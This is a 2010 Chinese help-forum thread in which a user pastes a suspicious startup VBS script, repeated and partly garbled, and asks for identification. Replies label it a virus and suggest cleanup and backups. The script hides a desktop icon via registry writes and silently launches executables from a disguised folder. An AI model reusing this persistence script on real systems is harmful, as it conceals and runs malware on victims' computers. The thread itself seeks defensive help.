不明开机程序 求解决

[复制链接]
查看11 | 回复2 | 2010-6-30 12:39:59 | 显示全部楼层 |阅读模式
有四个 copy
"C:\Windows\Mail\UltraEdlt\winare.vbs"
"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\启动.vbs"
dir
DimWSHShell
SetWshShell = WScript.CreateObject("WScript.Shell")
Rem
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel\{871C5380-42A0-1069-A2EA-08002B30309D}"
RegPath1="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu\{871C5380-42A0-1069-A2EA-08002B30309D}"
Type_Name="REG_DWORD"
Key_Data=1
WshShell.RegWriteRegPath,Key_Data,Type_Name
WshShell.RegWriteRegPath1,Key_Data,Type_Name
strDesktop = WSHShell.SpecialFolders("Desktop")
WSHShell.AppActivate strDesktop
DIMobjShell
setobjShell=Wscript.createObject("wscript.shell")
objShell.CurrentDirectory = "C:\Program Files\WindWare\"
iReturn=objShell.Run("cmd.exe /C
.\to.exe", 0, TRUE)
iReturn=objShell.Run("cmd.exe /C
.\361.exe", 0, TRUE)
iReturn=objShell.Run("cmd.exe /C
.\360.cmd", 0, TRUE)copy
"C:\Windows\Mail\UltraEdlt\winare.vbs"
"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\启动.vbs"
dir
DimWSHShell
SetWshShell = WScript.CreateObject("WScript.Shell")
Rem
RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel\{871C5380-42A0-1069-A2EA-08002B30309D}"
RegPath1="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu\{871C5380-42A0-1069-A2EA-08002B30309D}"
Type_Name="REG_DWORD"
Key_Data=1
WshShell.RegWriteRegPath,Key_Data,Type_Name
WshShell.RegWriteRegPath1,Key_Data,Type_Name
strDesktop = WSHShell.SpecialFolders("Desktop")
WSHShell.AppActivate strDesktop
DIMobjShell
setobjShell=Wscript.createObject("wscript.shell")
objShell.CurrentDirectory = "C:\Program Files\WindWare\"
iReturn=objShell.Run("cmd.exe /C
.\to.exe", 0, TRUE)
iReturn=objShell.Run("cmd.exe /C
.\361.exe", 0, TRUE)
iReturn=objShell.Run("cmd.exe /C
.\360.cmd", 0, TRUE)
opy
"C:\Windows\Mail\UltraEdlt\winare.vbs"
"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\启动.vbs"
dircopy
"C:\Windows\Mail\UltraEdlt\winare.vbs"
"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\启动.vbs"
dir好像四个都是 一样的 求鉴定求解救 还有最近电脑发现木马杀了又会出现 下面图为360截图


回复

使用道具 举报

千问 | 2010-6-30 12:39:59 | 显示全部楼层
恶意脚本病毒或者软件
回复

使用道具 举报

千问 | 2010-6-30 12:39:59 | 显示全部楼层
哇 你十多天内弄出这么多的病毒啊楼主你要360的话 那只有急救箱有点用 然后 你如果一定要杀掉他的话 应该 以我的能力解决的话 会很发麻烦的为什么会杀完后再出现的问题 我觉得是没有杀彻底楼主劝你现在把有用的东西 重要的东西 都转移或者备份 但是记得转移的时候要杀毒先 恩 然后啊 其实病毒并不只存在于你的C盘里 D盘 F盘 都有了 还有你的系统文件
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

主题

0

回帖

4882万

积分

论坛元老

Rank: 8Rank: 8

积分
48824836
热门排行